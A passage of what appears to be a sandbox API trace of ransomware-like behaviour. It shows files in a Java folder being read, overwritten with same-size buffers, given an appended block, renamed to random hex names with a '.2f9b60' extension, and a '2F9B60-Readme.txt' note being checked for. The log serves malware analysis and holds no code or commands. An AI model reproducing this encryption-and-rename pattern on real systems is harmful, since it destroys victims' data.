Flags=0x8, Size=0x20) returned 0x204fdde0 [0141.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0141.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0141.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d5d50 [0141.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421fb5f0 [0141.304] ReadFile (in: hFile=0x1f24, lpBuffer=0x421d5d50, nNumberOfBytesToRead=0x181, lpNumberOfBytesRead=0x372ff7f0, lpOverlapped=0x0 | out: lpBuffer=0x421d5d50*, lpNumberOfBytesRead=0x372ff7f0*=0x181, lpOverlapped=0x0) returned 1 [0141.304] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.304] WriteFile (in: hFile=0x1f24, lpBuffer=0x421fb5f0*, nNumberOfBytesToWrite=0x181, lpNumberOfBytesWritten=0x372ff7f4, lpOverlapped=0x0 | out: lpBuffer=0x421fb5f0*, lpNumberOfBytesWritten=0x372ff7f4*=0x181, lpOverlapped=0x0) returned 1 [0141.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421fb5f0) returned 1 [0141.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d5d50) returned 1 [0141.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda07f0 [0141.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda0830 [0141.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd750 [0141.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0141.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b7d3a20 [0141.397] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.398] WriteFile (in: hFile=0x1f24, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x372ff910, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x372ff910*=0x11a, lpOverlapped=0x0) returned 1 [0141.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0141.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0141.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fdcc0 [0141.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdbd0 [0141.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc60 [0141.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0141.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9dc70 [0141.566] sprintf (in: _Dest=0x1cd9dc70, _Format="%c%c" | out: _Dest="d3") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc72, _Format="%c%c" | out: _Dest="3e") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc74, _Format="%c%c" | out: _Dest="82") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc76, _Format="%c%c" | out: _Dest="e2") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc78, _Format="%c%c" | out: _Dest="3a") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc7a, _Format="%c%c" | out: _Dest="57") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc7c, _Format="%c%c" | out: _Dest="1e") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc7e, _Format="%c%c" | out: _Dest="ea") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc80, _Format="%c%c" | out: _Dest="9c") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc82, _Format="%c%c" | out: _Dest="06") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc84, _Format="%c%c" | out: _Dest="b2") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc86, _Format="%c%c" | out: _Dest="ce") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc88, _Format="%c%c" | out: _Dest="e0") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc8a, _Format="%c%c" | out: _Dest="b3") returned 2 [0141.567] sprintf (in: _Dest=0x1cd9dc8c, _Format="%c%c" | out: _Dest="29") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dc8e, _Format="%c%c" | out: _Dest="f1") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dc90, _Format="%c%c" | out: _Dest="c8") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dc92, _Format="%c%c" | out: _Dest="9b") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dc94, _Format="%c%c" | out: _Dest="60") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dc96, _Format="%c%c" | out: _Dest="23") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dc98, _Format="%c%c" | out: _Dest="06") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dc9a, _Format="%c%c" | out: _Dest="fb") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dc9c, _Format="%c%c" | out: _Dest="00") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dc9e, _Format="%c%c" | out: _Dest="92") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dca0, _Format="%c%c" | out: _Dest="49") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dca2, _Format="%c%c" | out: _Dest="39") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dca4, _Format="%c%c" | out: _Dest="23") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dca6, _Format="%c%c" | out: _Dest="58") returned 2 [0141.568] sprintf (in: _Dest=0x1cd9dca8, _Format="%c%c" | out: _Dest="36") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcaa, _Format="%c%c" | out: _Dest="4d") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcac, _Format="%c%c" | out: _Dest="0a") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcae, _Format="%c%c" | out: _Dest="ec") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcb0, _Format="%c%c" | out: _Dest="30") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcb2, _Format="%c%c" | out: _Dest="95") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcb4, _Format="%c%c" | out: _Dest="7b") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcb6, _Format="%c%c" | out: _Dest="b0") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcb8, _Format="%c%c" | out: _Dest="7f") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcba, _Format="%c%c" | out: _Dest="f2") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcbc, _Format="%c%c" | out: _Dest="74") returned 2 [0141.569] sprintf (in: _Dest=0x1cd9dcbe, _Format="%c%c" | out: _Dest="c2") returned 2 [0141.569] RtlInitAnsiString (in: DestinationString=0x372ff988, SourceString="d33e82e23a571eea9c06b2cee0b329f1c89b602306fb009249392358364d0aec30957bb07ff274c2" | out: DestinationString="d33e82e23a571eea9c06b2cee0b329f1c89b602306fb009249392358364d0aec30957bb07ff274c2") [0141.569] RtlAnsiStringToUnicodeString (in: DestinationString=0x372ff958, SourceString="d33e82e23a571eea9c06b2cee0b329f1c89b602306fb009249392358364d0aec30957bb07ff274c2", AllocateDestinationString=1 | out: DestinationString="d33e82e23a571eea9c06b2cee0b329f1c89b602306fb009249392358364d0aec30957bb07ff274c2") returned 0x0 [0141.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202adef0 [0141.570] RtlFreeAnsiString (AnsiString="d") [0141.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dc70) returned 1 [0141.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0141.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdbd0) returned 1 [0141.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0141.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0830) returned 1 [0141.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0141.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdde0) returned 1 [0141.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0141.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a650 [0141.572] wcscat (in: _Dest=0x2050a650, _Source="d33e82e23a571eea9c06" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\d33e82e23a571eea9c06") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\d33e82e23a571eea9c06" [0141.572] wcscat (in: _Dest=0x2050a650, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\d33e82e23a571eea9c06.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\d33e82e23a571eea9c06.2f9b60" [0141.572] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\d33e82e23a571eea9c06.2f9b60", NtPathName=0x372ff930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\d33e82e23a571eea9c06.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad600 [0141.573] NtSetInformationFile (FileHandle=0x1f24, IoStatusBlock=0x372ff9d0, FileInformation=0x202ad600, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0144.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 [0144.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc0b0) returned 1 [0144.124] NtQueryInformationFile (in: FileHandle=0x1f24, IoStatusBlock=0x372ff998, FileInformation=0x372ff9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x372ff998, FileInformation=0x372ff9a8) returned 0x0 [0144.124] NtSetInformationFile (FileHandle=0x1f24, IoStatusBlock=0x372ff998, FileInformation=0x372ff9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a650) returned 1 [0144.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adef0) returned 1 [0144.130] FlushFileBuffers (hFile=0x1f24) returned 1 [0144.140] CloseHandle (hObject=0x1f24) returned 1 [0144.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a230 [0144.375] wcscpy (in: _Dest=0x1ce5a230, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0144.375] wcscat (in: _Dest=0x1ce5a230, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0144.375] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a230) returned 1 [0147.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504a90) returned 1 Thread: id = 2091 os_tid = 0x13d0 [0138.572] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\meta-index")) returned 0x20 [0140.584] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\meta-index", dwFileAttributes=0x20) returned 1 [0140.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\meta-index"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f34 [0141.430] GetFileSizeEx (in: hFile=0x1f34, lpFileSize=0x373efe40 | out: lpFileSize=0x373efe40*=2190) returned 1 [0141.430] SetFilePointerEx (in: hFile=0x1f34, liDistanceToMove=0x88a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.430] ReadFile (in: hFile=0x1f34, lpBuffer=0x373efdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x373efe08, lpOverlapped=0x0 | out: lpBuffer=0x373efdc0*, lpNumberOfBytesRead=0x373efe08*=0x4, lpOverlapped=0x0) returned 1 [0141.577] SetFilePointerEx (in: hFile=0x1f34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0141.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdde0 [0141.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.578] NtQuerySystemTime (in: CurrentTime=0x373efd00 | out: CurrentTime=0x373efd00*=132462177468190000) returned 0x0 [0141.578] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x3d25582e [0141.578] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x51f38b06 [0141.578] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x4eac33c0 [0141.578] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x11f183c3 [0141.578] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x5fc13d3d [0141.578] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x48cce27d [0141.578] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x4b2eb1f1 [0141.578] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x6392b552 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x669f48bc [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x1983ced0 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x5d568c29 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x3939e3d7 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x70349a2c [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x5331769e [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x6d4460a8 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x10951b89 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x4bda7722 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x2079e80d [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x4a4478c3 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x531577e9 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x71e8a680 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x67c12eb3 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x4baf9e62 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x22172e5e [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x3c4f78b8 [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x72c7929d [0141.579] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x53ed53a [0141.580] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x2685a89c [0141.580] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x27da3c83 [0141.580] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x619812ef [0141.580] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x26d14a1c [0141.580] RtlRandomEx (in: Seed=0x373efcf0 | out: Seed=0x373efcf0) returned 0x513133e4 [0141.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0141.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0141.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0141.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ce530 [0141.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d5d50 [0141.593] ReadFile (in: hFile=0x1f34, lpBuffer=0x421ce530, nNumberOfBytesToRead=0x88e, lpNumberOfBytesRead=0x373efcf0, lpOverlapped=0x0 | out: lpBuffer=0x421ce530*, lpNumberOfBytesRead=0x373efcf0*=0x88e, lpOverlapped=0x0) returned 1 [0141.594] SetFilePointerEx (in: hFile=0x1f34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.594] WriteFile (in: hFile=0x1f34, lpBuffer=0x421d5d50*, nNumberOfBytesToWrite=0x88e, lpNumberOfBytesWritten=0x373efcf4, lpOverlapped=0x0 | out: lpBuffer=0x421d5d50*, lpNumberOfBytesWritten=0x373efcf4*=0x88e, lpOverlapped=0x0) returned 1 [0141.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdbd0 [0141.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdbd0) returned 1 [0141.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d5d50) returned 1 [0141.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ce530) returned 1 [0141.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fdbd0 [0141.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc60 [0141.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0141.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fdc60 [0141.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe020 [0141.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0141.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0141.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x1694d0 [0141.671] SetFilePointerEx (in: hFile=0x1f34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.671] WriteFile (in: hFile=0x1f34, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x373efe10, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x373efe10*=0x106, lpOverlapped=0x0) returned 1 [0141.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0141.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0141.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0141.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0141.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0141.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0141.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0141.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0141.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9eeb0 [0141.755] sprintf (in: _Dest=0x1cd9eeb0, _Format="%c%c" | out: _Dest="88") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eeb2, _Format="%c%c" | out: _Dest="af") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eeb4, _Format="%c%c" | out: _Dest="b5") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eeb6, _Format="%c%c" | out: _Dest="60") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eeb8, _Format="%c%c" | out: _Dest="e7") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eeba, _Format="%c%c" | out: _Dest="d6") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eebc, _Format="%c%c" | out: _Dest="99") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eebe, _Format="%c%c" | out: _Dest="df") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eec0, _Format="%c%c" | out: _Dest="6d") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eec2, _Format="%c%c" | out: _Dest="84") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eec4, _Format="%c%c" | out: _Dest="98") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eec6, _Format="%c%c" | out: _Dest="9b") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eec8, _Format="%c%c" | out: _Dest="86") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eeca, _Format="%c%c" | out: _Dest="c1") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eecc, _Format="%c%c" | out: _Dest="f2") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eece, _Format="%c%c" | out: _Dest="bc") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eed0, _Format="%c%c" | out: _Dest="f6") returned 2 [0141.755] sprintf (in: _Dest=0x1cd9eed2, _Format="%c%c" | out: _Dest="d1") returned 2 [0141.756] sprintf (in: _Dest=0x1cd9eed4, _Format="%c%c" | out: _Dest="38") returned 2 [0141.756] sprintf (in: _Dest=0x1cd9eed6, _Format="%c%c" | out: _Dest="56") returned 2 [0141.756] RtlInitAnsiString (in: DestinationString=0x373efe88, SourceString="88afb560e7d699df6d84989b86c1f2bcf6d13856" | out: DestinationString="88afb560e7d699df6d84989b86c1f2bcf6d13856") [0141.756] RtlAnsiStringToUnicodeString (in: DestinationString=0x373efe58, SourceString="88afb560e7d699df6d84989b86c1f2bcf6d13856", AllocateDestinationString=1 | out: DestinationString="88afb560e7d699df6d84989b86c1f2bcf6d13856") returned 0x0 [0141.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d730 [0141.756] RtlFreeAnsiString (AnsiString="8") [0141.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 